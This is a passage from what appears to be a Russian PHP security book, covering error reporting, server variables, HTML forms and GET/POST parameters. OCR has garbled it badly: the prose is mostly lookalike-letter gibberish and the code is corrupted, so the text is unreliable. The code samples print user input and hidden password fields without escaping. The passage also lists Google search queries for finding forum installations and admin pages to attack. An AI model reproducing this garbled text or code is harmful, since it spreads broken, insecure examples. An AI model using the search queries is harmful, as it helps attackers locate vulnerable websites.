Ha arane pa3paboTKu Bbl He y3HAETe O MOTEHUMAIbHOU omubke u TpyaHO Gymer
TMIOHSATE, MOYEMY KOJl IporpaMMel paboTaeT He TaK, KaK Bbl IUIAHWPOBAJIH.
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Yr1o6m BrIIOYMTE OoTOOpaxeHue owmnbok, B ¢aitne php.ini Heobxouumo HaiiTH
napaMeTp error_reporting ¥ U3MEHWTL €ro 3HaMEeHMe HA E_ALL.

Coob6lieHusi MOTYT MOSIBNSITLCSA M MPH CpaBHEHMH YWcaa co crpokoii. Tak, ecnu
B nipuMepe M3 pazdeaa 2.8, rae Mbl Hanucanu (GYHKUMIO print_max (), 106aBUTH
B Hayaio CUEHApus CJIeAYIOLYIO KOMaHIy:

error_reporting(E_ALL) ;

M Terepb MOBTOPUTH BBIMOMHEHME CLIEHAPUA, TO B PE3yJIbTaTe Bbl JO/DKHEI YBU-
neTh oubKY NpH CpaBHEHWH YMCIA U CTPOKM:

Warning: Use of undefined constant sdf23 - assumed  sdf23' in
Svar/www/html/1/functions 1.php on line 25

QYHKIUS error_reporting YCTAHABIMBAET YpOBeHb OTOGpakeHMs ommubok. Ec-
JIM B Ka4yecTBe napamerpa ykasaTh E_ALL, To OyayTr oToBpaxarhcsi Bce mpeaynpe-
XaeHust 1 coobuenns. Yrobsl oTKIIOUNTE COOBLIEHNS B KOHKPETHOM CLEHAPUH,
HY)XHO HAIMCaTh B HAYale CIeNyIOlIYI0 CTPOKY:

error_reporting(E_ALL - (E_NOTICE + E_WARNING));

Ecnu Tpebyercsi H3MEHUTH ypoBEeHb OTOOpaXeHHs! OIMOOK s BCEero cepsepa, To
cilenyer oTpeAaKTHpoBaTh OJHOMMEHHBIH napametp B daitne php.ini. B sToM xe
chaiinie MOXHO HAHTH BO3MOXHBIE BAPUAHTHI YPOBHEI.

Ewe pa3s xouy ckasarb, 4to B paboTaiolieii cucreMe He AODKHO OBbITh HHUKAKUX
coobuiennit o6 omubkax. Ecnu npu tecTMpoBaHuU caiToB Ha Oe3onacHOCTh s
obHapyxuBal, 4To cueHapuu 6butn moxsepxeHbl ownbke SQL Injection (korama
XaKep MOXeT BbINOMHATL Ha cepsepe SQL-3anpocsl), To coobuieHns o6 ommubdkax
3HAYUTETHLHO YIPOLIATH OTpene/ieHHe CTPYKTYphl 6a3bl AaHHBIX.

Ecin BBl HAacTpoMIM cucTeMy Ha oTobpaxeHue BceX OoMOOK, HO TTPH 3TOM XOTH-
Te, 4Tobbl ompeneneHHas (yHKUMS He orobpaxkana ourmbox, nepen UMeHeM
¢yHKUMM HeobxoaMMO mocTaBUTh cuMBon €. Hanpumep, ¢yHKumMs print()
B ClTyyae HeluTaTHo# cHTyauuu oTobpasut coobliieHWe Ha 3KpaHe, HO ecli Ha-
MUcaTh @print (), TO OWUWOKKM He Bymer.

2.12. MNepepava gaHHbIX

Korpa cueHapuii sanyckaercd Ha BbinojgHeHue, uHtepnperatrop PHP coanaer
MHOXECTBO NepeMeHHBIX. YacTh M3 HUX comepXuT MHGOPMALMIO O cepBepe U
OKpY)XeHWH, B KOTOpoM paboTaer cueHapuii, a 4acTb MOXET cOJepXarb JAaHHBIE,
KOTOphIe nepefan KineHT yepea Web-crpanuuy cueHapuio.

Sl He aymaio, 4TO MMEeT cMbICa yrnybnsThes B crapbie Bepcun PHP u obeyxnars,
KAK OHU nepenasain mapamerpsl. YToObl HAXoauThCA B 630MacHOCTH, Bbl AOIKHEI
YCTAHOBUTH Y cebs caMylo mocieaHioo sepenio uHTepnperatopa PHP, noatomy He
OyeM BCIIOMMHATDB CTapble BO3MOXHOCTH, KOTOPBIE YK€ He TIOIIepXKHBAIOTCS].
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2.12.1. NepemeHHbIe OKpPYXEHUA

Bce napamerpbl OKpYXEHHsI, KOTOphIe MEpPefaloTesl cUeHapHio, MoMelaioTes M-
TEPNPETaTopoM B MACCHB SHTTP_ENV_VARS. Ha pasHbIX KOMIbIOTEpax 3TOT Mac-
CHB BBITISAUT Mo-pasHoMy. Yrtobbl npocMoTtpers cBou napamerpsl, s Windows
B KOMaHIHOI CTPOKE BBIMOMHUTE KOMaHMy set, a wisl Unix-cucreMm HyXHO BEI-
[MOJIHUTH KOMaHy env.

Y PHP ects cnenyiomue nepeMeHHble OKPY:KEHHUsSI, KOTOPbIe BaM MOTYT MPUTo-
AHTBLCH:

0 $DOCUMENT_ROOT — MYTh K KATAJIOry HA cepBepe, e pacioaaraercs: clieHapHii;

00 $SCRIPT_FILENAME — MNYTh K HCMoOJHsAeMoMy daitny Ha cepsepe;

0 sseErRVER_ADDR — [P-anpec cepBepa, Ha KOTOPOM 3anylieH cLeHapuii;

(] $SERVER_PORT — [OPT CEPBEPA, K KOTOPOMY MOMKIIOYHIICA KIMEHT IS BbI-
MOJIHEHNS 3a1poca;

(0 $SERVER_NAME — HMSl XOCTa cepsepa;

0 $sSERVER_PROTOCOL — Bepeusi HTTP-nporokona;

O sreEMoTE_ADDR — [P-anpec komrbioTepa, 3anpocusiuero daiiyl cueHapus;

J $REMOTE_PORT — TOPT YAQIEHHOTO KOMIBIOTEPA, C KOTOPLIM YCTAHOBIEHO
COENMHEHUE;

0 SREQUEST_METHOD — MeTOJl (GET WJIM POST), C NOMOLUBIO KOoToporo 6su1 3a-

MpOLUeH CLeHApUid;

0 sreqQuesT_urI — URL-nyts k daiiny 6e3 uMeHn foMeHa WiHM ajipeca cepBepa.
Harnpumep, ecnu Obin 3anpoiied anpec: http://192.168.1.1/admin/index.php,
TO B 9TOi mepeMeHHOoI Oyner Haxoxuthes /admin/index.php;

(0 $SQUERY_STRING — CTPOKAa 3ampoca, KOTOpasi COAEPXKHT CIHCOK MapaMeTpoB,
nepeaaHHeix 3anpocy. INapamerpsl pasneieHsl amnepcanaamn (&), a camu na-
paMeTpbl HMEIOT BUI HassaHMe=3HaAUSHUE,

0 $HTTP_HOST — MM# cepBepa. BTOT MapaMeTp MOXET COIEPXKaTh TO XKe 3Haue-
HHE, YTO U $SSERVER_NAME, 8 MOXET W OTJIMYAThCSl, ECIIM Y CepBepa HECKONBKO
HMEH;

(1 $HTTP_USER_AGENT — CTPOKA, MACHTHOWUMpYOUAst MPOrpaMMy-KJIHeHT, Ha-
MpuMep, HaspaHue Opaysepa, XOTsi 3TO Ha3BaHWE HE BCErNa COOTBETCTBYST
NeiiCTBUTEILHOCTH;

(0 $HTTP_ACCEPT — HepedyeHb (haiiioB, KoTopele MoXeT 06paboraTh KIHEHT.

K stum XKE NEPEMEHHBIM MOXHO IMOJIYYHTh  JOCTYIT yepes Maccus
$ SERVER [mMa nepemensoit], €ciu y Bac B Hactpoitkax PHP ne ycraHosieHa
BO3MOXXHOCTbE aBTOMATHYECKOT'O CO3MNAHUA TEPEMEHHBIX.
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Crnenyomuii npuMmep MoKassiBaeT, KAK MOXHO BBIBECTH HA 9KpaH 3HAYEHMS Iie-
PEMEHHBIX OKPYXKEHUWSL:
<?php

print ("<P>$DOCUMENT_ROOT") ;

print ("<P>$SCRIPT_FILENAME") ;

print ("<P>SHTTP_HOST") ;

7>

2.12.2. Nepepa4va napameTpos

CratuyHble Web-cTpaHuiibl BCTpewaloTesl CIMIUIKOM penko. [1pakTuyecku Ha Jiio-
6oM Gosiee-MeHee KpYMmHOM caiite HeobDXoauMO MojydaTs ornpeleneHH bl BBOA co
cTOpOHBI Mojb3osaress. st aroro Ha si3bike pasMerku HTML cosnaiores dhop-
MbI, KOTOpBIE MEPEeNaloT CBOE COJAepXMMOe yKasaHHoMy caiiny cueHapus. Cie-
AYIOUWIMI IPUMEpP MOKa3bIBAET, KaK co3AaTh (GopMy BBOIA HMEHH MOJIB30BATENS:

<form action="param.php" method="get">
Vma nonsaceaTenda: <input name="UserName">
</ form>

Y Tera <form> HY)KHO YKa3arb ABA napamerpa:

0 Action — 3deChb MBI JOJDKHBI yKa3zaTh MMs aitia cueHapus WIH MOJHBIH
URL « daitny, kotopomy nepenaiorcsi napametpsl (hopMai;

O Method — Merton mnepemnayn. CyuIecTBYIOT ABa METOIA [epeiaud I[apamer-
POB — get U post. Bbl 10JKHBEI YETKO MOHMMATH, KAK OHH PaboTaloT ¥ B YeM
pasHULA MEXIYy HUMH, 1103TOMy 062 Meroa Mbl MOAPOGHO PaccMOTPHM YyTh
TO3XKe.

Mexny TeramMm <form> M </form> MOXHO CO3/IaBaTh 2JIEMEHTH YNPaBIEHMUS,
3HayeHMsl KOoTopeiX GyayT nepeaaBaThesi cleHapuio, B naHHOM npumepe MBI CO3-
JAIH TOJNBKO ONHO nose Bsoja (Ter <input>). 3Hech B KavecTBe MMEHH MMOJIA
BBOJIa 51 YKa3aJl UserName.

JagaiiTe MOCMOTPUM Ha TIpMMepe, KAk MOXHO YBuieTh BeenieHHoe B Web-dopmy
nons3osarenem uMst. Camblil npocTolt BapuaHT — B aitne param.php mcnonb3o-
BATh MEPEMEHHYIO $UserName. Jla, Mbl TaKoit NEpPeMEHHOI He CO3ABATH, HO OHA
CO3/1aeTCsl MHTEPIIPETATOPOM I1EPEN 3aMyCKOM CLEHApHsI.

Ytobel yBUAETh, KOTAA CO3MAETCH COOTBETCTBYIOLUMI mapamerp, HaBaiTe Ha-
nuieM daitn param.php, koropsiif 6yner cogepxkarb ¢opMy U Kon obpabor-
ku. Takum obpasom, napamerpsr OyIyT mnepenasaThecsi TOMY Xe ClLieHapHio,
B KOTOpoM BBOafATcS naHube. [Ipumep Takoro cueHapusi MOXHO YBHUIEThb
B ucTuHre 2.14.



<form action="param.php" method="get">

Vs nonsz3oBaTesnda: <input name="UserName':>
</form>

<?php
if (S$UserName<>"")
{
print ("<P>Bame mus nonssoBaTeng: ");
print ("$UserName") ;
}
7>
</BODY>
<HTML>

Ecnu 3arpysute a1y dopmy B Opayaep, To nepemeHHas $UserName Oyaer myctoif,
NOTOMY 4TO eille He ObUTO Mepefavyd MapamMeTpoB, W MHTEPNPETaTop HUYEro He
co3nasan. Eciu BBECTHM MMs mojb3oBartenst ¥ Haxarh wrasuiny <Enter>, 1o co-
nepxumoe dopmel 6yaeT nepesarpyeHo, HO Ternepb NnepeMeHHas $UserName Gy-
IeT comepXaTh BBEASHHOE MoJib3oBarteneM uMs. Takum oOpasoM, MOXHO caenaTh
MIPOBEPKY: €CHIM MepeMeHHasi He nycTasi, To (opMa MoJydmwIa napamerp, H MoXx-
HO ero obpabareiparh. B Haulem npumepe Mbl NpocTo BHIBOAMM HAa SKPaH BBE-
JOEHHOE MMSI.

C nomotibio $hopM MOXKHO MepeiasaTh U CKpbIThie napamerpsl. CkaxeM, TOMHMO
HMEHH TTOJL30BATES Bbl XOTHUTE TMeEpeaaBaTh €lle KakKoe-To 3Ha4YeHue, KOTopoe
HE JIOJKHO ObITh BUIHO B thopme. [lisi 3TOro Bbl MOXETE CO3/1aTh HEBUIMMOE I10-
Jie BBona. Hanpumep, B ciemyioueit ¢opme ecTh AB4 MoJs BBONA: UserName M
Password, HO BTOpOe roje He OyleT BMAHO Ha dopMe, MOTOMY YTO Y MOJs yKa-
3aH rapaMerp type (THI1), KOTOPOMY MPUCBOEHO 3HAYEHUE hidden (HEBHIMMBIIL):
<form action="param.php" method="get">
User HName:

<input name="UserName">

<input type="hidden" name="Password" value="qwerty">

</ form>
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[lone Password HEBMOMMO, HO COAEPXHUT 3HAa4YeHHe. TakuM oOpasoM MOXKHO me-
pelaBarb OT CLEHapus K clLeHapuio onpeneieHHble naHHbie. Teneps nocie nepe-
Ja4yu nmapaMeTpoB y cueHapus param.php 6Gyayt nee nepemeHHbIe $UserName U
$Password C YCTAHOBJICHHBIMM 3HAYCHUSIMH.

Huxorna He nepenasaiite TaKMM CIIocOGOM BaXHble AaHHble. XOTS noje napos
HeBMOMMO Ha Qopme, moboi Gpaysep Mo3BOJAET NMPOCMOTPETh MCXOAHBINH KOI
HTML-¢opmsi. Hanpumep, B Internet Explorer wist 3Toro HyXXHO BBIGpaTh MEHIO
Buxn | B sune HTML (View | Source). JTio60ii xakep cMoXeT YBUAETb 3TOT mapa-
METP B MCXOIHOM KOII€, a €C/IH HA/lo, TO U U3MEHHUTh. [LJisi 3TOr0 MCXONHBINH KO
ClIEHApUsl COXPAHseTcsl Ha JIOKATBHOM JMCKE [MMOJb30BaTeNsl, PeAaKTHPYeTcs ra-
pameTp (HarmpuMep, u3MeHseTcsi Moje action Gopmel Ha monHeiii URL), u BbI-
TNOJIHSIETCS 3aMpoc K cepBepy.

Ecnu Bbl He 3HAeTe, Kakue NaHHbIE SABISIOTCS BAXHBIMM, 4 KAKHE HET, TO He Hc-
MOoJIB3yHTE 3TOT MeToa Boob1LLe.

C nomolibio HacTpoek MHTepnperartopa (daitn php.ini) BbI MOXeTe MOBIMATH HA
napamMerpel, a ToyHee, Ha UX paboTy, ¢ MOMOLIBIO IUPEKTHBBl register_globals.
Ecnu 3ta nupekTHBa BKITIOYEHA, TO OymyT co3aaBarbesi rinobaibHble MepeMeHHbIe
LISl TiepefaBaeMbIX MapamMeTpoB, MHaue MpUIETed NAHHBIE TONb30OBATENS] YNTATh
yepes crielMaIu3npoBaHHsle robatbHble Maccusbl. Ho rimobGanbHbie nepemeHHbIe
rnpoiie 1 yrobHee, MOITOMY g He BUXY HAnoOHOCTH B MX 3aMpelleHnu.

Tenepb norosopum nogpobHee o Meroiax nepemauu mapamertpos. Kak mbl yxe
3HaeM, WX JBa: GET M POST. B 0BOMX ciryyasx MHTEpNpeTaTop CO3NAET MepeMeH-
HbIE C TAKMMH X€ UMEHAMH, HO PasiiM4uA B METOLAX €CTh.

2.12.3. Metopn GET

Haunem ¢ Meroma GET. Bece mapamerpbl, KOTOpBIE MEPENalOTCsA CLEHAPUIO, TIOMe-
1iaTes B miobanbHble nepeMeHHbie. [ToMUMO 3TOrO, OHM MOMELAIOTCsl B MACCHB
$SHTTP_GET_VARS. YroObl HE NMUCATh TAKOE IIMHHOE WMSI MACCHBA, MOXHO HC-
nosis3oBaTe MMA $_GET. Ho u 310 eule He Bce. [lonbsoBaresnb MOXET BHIETH
napametpbl B ctpoke URL-ampeca. Tak, mocne BBIMOJIHEHUs NMpUMEpa c mnepe-
paveit uwmenu u mnapons URL-agpec wusmenurcs wa: http://192.168.77.1/
param.php? UserName=Flenov&Password=qwerty. [locne agpeca uner cumson
BoOIpoca, a 32 HAM MEPEYHCISIIOTCA MapaMeTpbl B BUIE muaA=3HaueHKe. IMapamer-
pBI pasneneHbl Mexuly coboii amnepcaHnoM (&).

Kak BBI aymaerte, sipnsiercsl i oToT Meton Oe3domacHeiM? Huckonsko! Xakepy
6ynmer HOCTATOYHO JIeTko M3MEHHMTH 1000 rnapamerp BpydHYIO W Iofobparh ero
naxe 6e3 M3MeHeHHs HcxomHoro koma GopMel Ui OTMpaBKu napamerpos. Bo
BpeMsi MPOrPaMMUPOBAHMs CLIEHAPHEB BB JO/DKHBI CleJIaTh BCE TAK, YTODObI XaKe-
py ObUTO MAaKCHMATbHO CJHIOXHO noabuparb HyXHbie mapaMerpbi. Hanpumep,
ec/IM Yepes MeTol GET MepeHaercs Mapojib, TO 3MOYMBILUIEHHHK CMOXET JIErKo
NnoaAbuparsk 3TOT Mapolb.
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Bropasi npobnema Takoro Meroga — OTKPBITOCTb. CHOBA paccMOTPUM MpHUMEp
¢ naponeM. Ecam nonb3osarenh BBesl Mapoiib U BOLIEN B 3alMUIEHHYI0 obnacThb
caifta, To 3TOT napoib Byner HaxomuThes B crpoke URL. Jlioboi npoxomauw it
MHMO YesIoBeK cMoxkeT 6e3 npobinem YBUAETH 3TY CTPOKY U Mapolb.

Hukorna He nepenasaiiTe BaXKHbie AaHHBIE METONOM GET, B 9TOM cjy4ae Jydiie
UCHO/MB30BaTh METOA POST. Ho 3TO He 3HAYWT, YTO METOM GET HE HYXKEH COBCEM,
MPOCTO K HEMY HYXXHO MOAXOAUTH ¢ 0Cco00i OCTOPOXKHOCTBIO U MPOBEPATH JNIOOLIE
JIaHHBIE, KOTOpbIe MOJY4YeHbl 3TUM criocoboMm.

B kaxux CIIy4qasx HY>KHO HUCMNOJIb30BaTh METOI GET!

() ecnd BBl TOYHO YBEPEHbl, YTO 4epe3 MapaMeTpbl HE [MEpelaloTcsi BAOKHbLIE
JIaHHBIE;

0 eciu 970 JeficTBATENLHO yiao0HO U HeobXxoaumo.

Korma moxer BO3HMKHYTb Takas Heobxomumocts? [Ipocteitinit BapuaHT —
MoJIb30BaTeNb MO/DKEH MMETh BO3MOXHOCTH HArpsiMylo obpaTMThbesl K CTpaHule
0e3 npenBapUTEILHOrO BBOIA MapamMeTpoB B oTaenbHOH (hopMe, a TaKkKe MpH He-
0DXOIMMOCTH NEPCOHANIM3UPOBATE KAKUE-TO aHHBIE.

Meron GET yacTo UcHoNb3yeTcs B MAPTHEPCKUX MporpaMmax. JlonycTum, YTo Bbl
3aPErHCTPUPOBAINCH B KAaYeCTBE MApPTHEPA Mara3uHa Www.amazon.com M J0JKHEI
MoJIy4ars MPOLEHTHl OT 3aKa30B TOBAPOB, CIEMAHHBIX MO CChUIKE C BALIEro caiTa.
Kak marasmH y3Haer, 4To MOKyIjatejib npuilen WMeHHO 1o Bauieit cchuike? Ca-
Mblit MpocToii crocob — pasMecTHTb HA CBOEM CaiiTe CChUIKY Ha Amazon, B Ko-
TOpPOW MPHUCYTCTBYeT mapamerp B (dopMare GET, WAeHTH(hHUUMPYIOUIUI Bac, Ha-
npumMep: www.amazon.com?partner=flenov. B cueHapuu Ha ceppepe amazon.com
TIPOBEPAETCS, COAEPXKNT JIM MApaMeTp Partner MMs 3aperMcTpUpOBaHHOrO Napr-
Hepa. Eciin 13, TO HY)KHO OTYMC/ISTE HA €r0 cYeT POLEHT OT 3aKA3aHHBIX TOBA-
poB. OGparuTe BHUMAHME: 3TO BCErO JAUIIbL NMPUMEP, KOTOPBIH HUKAK HE CBA3AH
¢ peajibHbIM MOJIOXKEeHHeM Jies1 B paboTe ¢ napTHepaMy Ha caiiTe amazon.com.

AbconoTHO 6e30MacHOro Meroja Mepenayn napaMeTpoB He CYLUIECTBYET, HO Me-
TOJA GET CHMIIKOM MPOCT M MO3BOJISIET Xakepam Jjierko ucnoassoBate URL s
TIOMCKA YSI3BMMBIX MECT B Baliux cueHapusix. YUem npouie Haith omubKy, tem
ObicTpee ee Haiinyr, ¥ naif Gor, Yrobbl HE BOCNONL30BANNCH ITON OWINOKOIT B KO-
PHICTHBIX HeJsiX.

Yem emre crpaurdsl sanpockl GET? [MpobiaemMa Kpoercsi B MOMCKOBBIX CHCTEMAX,
ocobeHHO B MOLIHOCTH NOMCKOBOWH cuctemMbl google.com. Her, 1 He nporus Ta-
KOM MOLIH, NTOTOMY 4YTO oHa Heobxoauma, HO YTOOLI Balll cAalT HE oKasajics MNoj
yrpo3oit, HeoOXOAMMO YHMUTHIBATL Bee BOaMOXKHBIE npobnemel. Hy, xsatut obmiux
CJIOB, JaBaiiTe MOCMOTPUM Ha npobiemy.

JlonycTuM, Bbl Y3HAIM, UYTO B KaKoii-1nbo cHcTeMe ynpasieHHs CaiiTOM IMOSBK-
nack yszpumocthb. Yro 2t0 3a cucrema? CyliecTByeT MHOXECTBO IUIATHLIX U Gec-
TIIATHBIX TOTOBBIX TIporpamM, HanucanHslx Ha PHP, Perl u apyrux assikax n no-
3BOJISAIOIIMX co31aTh caiiT 6e3 ocobbix yeunuii, Takue cucTeMbl MOTyT BKJIIOYATD
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B cebsi roTopeie peajn3anuu (OpyMOB, FOCTEBBIX KHHI, JIEHT HOBOCTEH M T. A
Hanpumep, phpbb wunu ikonboard, koropbie oueHb CHIALHO PACTPOCTPAHEHBI
B UnrepHere, — Haubosiee nmonyaspHbie MCHOMHEHUs (HOPYMOB.

Ecan B kakoi-Hubynb M3 TaKuX CHEMATbHBIX MPOrpaMM HaiifeHa KpHTHYecKast
YSI3BHMOCTb M O Heil y3Hau Xakepsl, To Bee caiitel B MHTepHeTe, Mcnonbayioume
3Ty NMporpaMmy, IMOABepraioTcsi onacHocTH. BoJBIIMHCTBO aIMHUHMCTPaTOPOB He
noAnMcaHbl HA HOBOCTH M He OOHOBNAIOT (haiiibl cueHapueB HA cepBepe, MO3TO-
MY OCTAeTCsl TOJBKO HAWUTH HYXHBII callT U BOCIONB30BATLCH IOTOBBLIM pellleHU-
eM JUISl OCYLLIECTBIIEHHS B3JIOMA.

Kax naiitu caitel uau Gopymsl, KoTopbie colepxkar ya3pumocth? OueHb- npocro.
Yauie Bcero cueHapuii xeprsst MoxxHo onpeaenuts no URL-anpecy. Hanpumep,
KOT/la Bl MMpOCMATPUBaeTe Ha cailte www.sitename.ru pasnen gopyma, MCHONb-
3yioLero B kauecrse aBuxka Invision Power Board, To ctpoka anpeca BBITISIINT Tak:

http://www.sitename.ru/index.php?showforum=4

Teker index.php?showforum= OyIeT BCTpeuaThecsl Ha JIOOOM caiite, UCNONBL3YIO-
wem ans ¢opyma Invision Power Board. YUrobGel HaitTH caiiThl, copepxaiiue
B URL manupiil Texcr, HYXHO BBIMOJHHUTL B monckoBoil cucteme Google cie-
JIyIOLIUii 3anpoc:

inurl:index.php?showforum

CyiiecTByIoT U pyrue ABUXKH, KOTOPBIE MCMOJB3YIOT 3TOT TeKeT. YTobsl oTbpo-
CHUTB MX, HYXHO ellle 100aBUTH MOMCK Kakoro-HuOymb dhparMeHTa M3 CTpPAHHIL
Hanpumep, mo ymonuyaHuio BHM3Y Kaxmoili crpaHuubl ¢opyma ecTb MOAIUCH
"Powered by Invision Power Board(U)". KoneuHo e, anMHHUCTPATOP BOJEH W3-
MEHUTh HaNmMch, HO B GoJbliMHCTBE ciiyyaeB ee He Tporaior. MmeHHO Takoit
TEKCT MOXHO H00aBUTh B CTPOKY MOMCKA, W TOCHA pe3yibTaTtoM OyayT ToibKo
cTpaHulbl Hy;KHoro Ham ¢opyma. Tonpo6yliTe BEIMOAHUTD CIGAYIOLIMIT 3aMpoc:

Powered by Invision Power Board(U) inurl:index.php?showforum

Bri yBiaure Gonee 150 Thicauy cailToB, peaiu3oBaHHBIX HAa 3ToM ABHXkKe. Teneph
eciu nosisuTes yassumoctsb B Invision Power Board, To BBI Jierko Halnere XepTBy
ISt UCHIbITAHHMS YA3BHUMOCTH. J]a.rlexo HE BCE aAMHUHHMCTPATOPBI YCNEIOT JUKBHIN-
poBaTh OLIMGKM, a HeKoTopble Booblie He OyIyT X UCTPABNSTh.

IMonpobyiite 3anyctutsh mouck "inurl:admin/index.php”, u BB HaiizeTe cTONBKO
HHTEPECHOIo, YTO &K AYX 3axXBaTbiBacT. Takue ccpiiKM 04€Hb YacTo UCITOJIB3YIOT-
csl IUTa yrnpasJleHHA yeM-nmbo Ha caiite. OnbITHBIE AIMUHHCTPATOPLI 3alllHLL@AI0T
MX NapojisiMu, W, KoHeYHO, OONBUIMHCTBO M3 3TUX CCLUIOK OyIyT HEILOCTYIHBI, HO
OTKPBITbI€ CCBIJIKH MOIYT NO3BOJIUTL YHHUTOXWUTD cailT NoJIHOCTHIO.

B pasdese 3.3.1 6yner onucaHa peajbHas ys3BUMOCTb, KOTOPYIO sl Halles CITeLH~
AMBHO [UTA 3TOH KHHUIH, uYTODLI NMPOWJUTIOCTPUPOBATH BO3MOXHBIE NPO6JIEeMEl
¢ 6esonacHocThio Beero 3a nsate MUHYT. U Bce 3710 Bnarogaps MoHCKOBOH cHCTe-
Me google.com M TOMy, YTO MapaMeTpbl NepenaBaTuch METOJIOM GET M COXpaHH-
muck B URL.
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U Bce xe, MeTonl GET HeobxoauM. BolbIIMHCTBO cafiToB cOCTOUT He Gojnee, YeMm
u3 10 ¢aitmoB cueHapues, xoropble orobpaxaiorT AaHHBIE HA CTpAaHULE B 3aBU-
cuMocTH OT BbiDopa monb3osatens. Hanpumep, psmigHeMm Ha Bece Tor ke URL
¢opyma:

http://www.sitename.ru/index.php?showforum=4

B naHHoM cnyyae BeI3bIBaeTCsl cuieHapuii index.php, a B KauecTBe mapamerpa ne-
penaercsi showforum W YMciIo 4, Jlaxe He 3HAS UCXOAHOIO KOoJa CLeHApHs, MOX-
HO moragatbest, 4To ¢haitn cueHapus A0JDKeH MokKas3ath Ha cTpaHuue dopyM, Ko-
Topblit uaeHTHdULKMpoBaH B Ga3e maHHBIX Mox HoMepom 4. B 3aBucmumocTu oT
HoMepa ¢opyMma crpaHuiia OyaeT BBIVISICTD N0-pasHOMY.

A Teneps npeiacTaBUM, 4TO HoMep dopyma Oyner nepeaaBaTbesi ¢ MOMOMIBIO Me-
Toaa PosT. B aTOoM cityyae, Kakyio Obl cTpaHully (hopyMa Bbl HM MPOCMATPUBAIH,
URL Gyner sbirfisiiers 0AMHAKOBO:

http://www.sitename.ru/index.php

Takum obpasoM, MoJb30BaTe/b HE CMOXET CO3[arTh 3aKMalKy Ha HYXHYIO cTpa-
HULLY, motoMy 4ro mapamerp ckpeit or URL. ITonyuaercsi, uTto METoioMm GET
HYXKHO TepefaBaTh M TaKue MapaMerphbl, KOTOPLIE CMOrYT OAHO3HAYHO MIEHTH-

[bl‘[Lll»‘l]JOBﬂTb CTPaHMILLy, HO NMpH 3TOM HEJb3f HapylUaTh Mpasujia, riacsiuue, 4ro
JAHHbIe AOKHBI ObITh GE30MACHBIMM W HE JOKHBI COAEPKATD BAKHBIX JAHHBIX.

2.12.4. Metopn POST

MexaHH3M MCMONb30BAHMA METONA POST HMYEM HE omiMuaercs or GET. [ocra-
TOMHO TOJBKO ITOMEHATh MMS MeTodad, M Baw Kon Oymer paborars Ge3 BHeCeHMs
JOMOTHHTENBHBIX KOPPEKTHPOBOK, €C/IH Bbl MCIOMBb30BAIM JUIA IOCTYNa K mapa-
MeTpam rnobaibHble NEpeMEeHHbIe, @ HE MacCHB $HTTP_GET_VARS (Ul POST MC-
nonb3yercs apyroi Maccus). IlpuMep MCroAb30BaHMS METOAA GET, PaCCMOTPEH-
HBII paHee, MOXHO M3MEHWTb HA POST ClIeAYIOLUNM 00pazoMm:

<form action="param.php" method="post">

User Name:

<input name="UserName">

<input type="hidden" name="Password" value="gwerty">
</form>

Bonbllle HUKAKMX U3MEHEHMI BHOCHTH HE HAlo.

IMpu uCmoNb30BAHUK METOAA POST B TEJO 3aMpoca NOManaioT W BCe napaMerpsi
B BU[IE MAP mMs=sHauenue. [IOMHMO 3TOro, 3HAYEHHUS MEPEMEHHLIX U MX HMEHa
MonajaloT B MaccHB SHTTP_POST_VARS. UToOBI He NMUcaTh TAKOE [UIMHHOE WM,
MOKHO HCIMOJIB30BaTh MCEBIOHHM $_POST.

Xors mapaMeTpsl He BuOHEL B crpoke URL, npoGnaema He peuraercst MOMHOCTHIO.
JIonycTHM, YTO BEI paspelinIf UCIOIb30BaTh I00aNbHBIE MEePeMEHHBIE W MpH-
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MEHsIeTe MX UISl JOCTYNA K IapaMeTpaM, Kak rokasaHo B nuctunre 2.15. Coxpa-
HUTE 3TOT KOl B daiise ¢ uMeHeM postparam.php.

<form action="postparam.php" method="post">
User Name: <input name="UserName">

<input type="hidden" name="Password" value="qwerty">
</form>

<?php
if (SUserName<>"")
{
print ("<P>Bame uMa none3oBaTend: ");
print ("$UserName" ) ;
print ("<P>[lapons: $Password") ;
}
7>

B arom nipumepe u3 ¢opMbl repefaioTcsi nmapameTpsl MeTonoM posT. Hecmorps
Ha 3TO, Mbl MOXEM BBITTOJIHUTB 3aIIPOC CIenylollero syaa:

http://192.168.77.1/postparam. php?UserName=Flenov&Password=qwerty

To ectb MbI nepegaeM napaMeTpbl, KaK B METOIE GET, M IPH 3TOM CLEHApHii oT-
paboraer BepHo. INouemy? ITpoGnema kpoercsi B MOOGATBHBIX MEPEMEHHBIX, KOTO-
peie He "3HaloT", KAKOW MeTOl MBI MCTONB3yeM, W HE 3aBUCAT OT Hero. B aToM or-
HOLLIEHUM MCIONB30BAHHE MACCHMBOB $HTTP_POST_VARS M $HTTP_GET_VARS Gonee
Ge3onacHo, MOTOMY YTO OHM TMpuBs3aHbl K Mertony. Eciu Ob1 Mbl 06GpabarsiBain
nmapaMerTpsl ¢ TOMOIBI0 MAacCHBa SHTTP_POST_VARS, TO MOMBITKA Mepenarh ra-
paMeTphl METOIOM GET 3aBepliujach Obl Heyaaueil, MOTOMY YTO TaKMe Mapamer-
pbl MONAnaloT B APYroil MaccHB $HTTP_GET_VARS.

B nucturre 2.16 nokasaHo, Kak MOXHO IMOJYYWTh AOCTYI K MapaMerpaM depes
MAcCHBbI, a TAKXKe 3alpeTUTh nepenavy napamerpos depes crpoky URL, 1. e. me-
TonoM GET. Ecimu MaccuB $HTTP_GET_VARS HE MMYCTOH, TO BHINOJHEHWE LMKIA
npephiBaeTca ¢ cooblIeHHEM O HEBEPHOM MapaMeTpe.

<form action="arrayparam.php" method="post">
User Name: <input name="UserName">
<input type="hidden" name="Password" value="qwerty">
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</form>

<?php

if (count ($HTTP_GET VARS)>0)
{
die("HepepHuil napameTp") ;
}

if (SHTTP_POST_VARS|["UserName"]<>"")
{
print ("<P>Bame mMa nones3osarens: ");
print ($HTTP_POST_VARS [ "UserName"]) ;
print ("<P>Bam napons: ");
print (SHTTP_POST _VARS|["Password"]) ;

>

3HayeHHe KHOMKH TaKXKe Monajaer B nepemMeHHyio. [lo 3Toro Mbl Bcerja Hamnpas-
JISITW JIAHHBIE CepBepy ¢ MOMolbio Haxatusa kiasuiun <Enter>, HO B pealbHBIX
nporpaMmax Jiyyiue Gyaer, eciu MONb30BaTelb YBUIUT HA CTPAHMIE KHOMKY OT-
npasky, Hanpumep, Submit wiu Go:

<form action="submitl.php" method="get">
User Name: <input name="UserName">

<input type="hidden" name="Password" value="gwerty">

<input type="submit" name="sub" value="Go">

</ form>

<?php
if (Ssub="Go")
{
print("<P>Submitted.....: $Submit");
}

7>

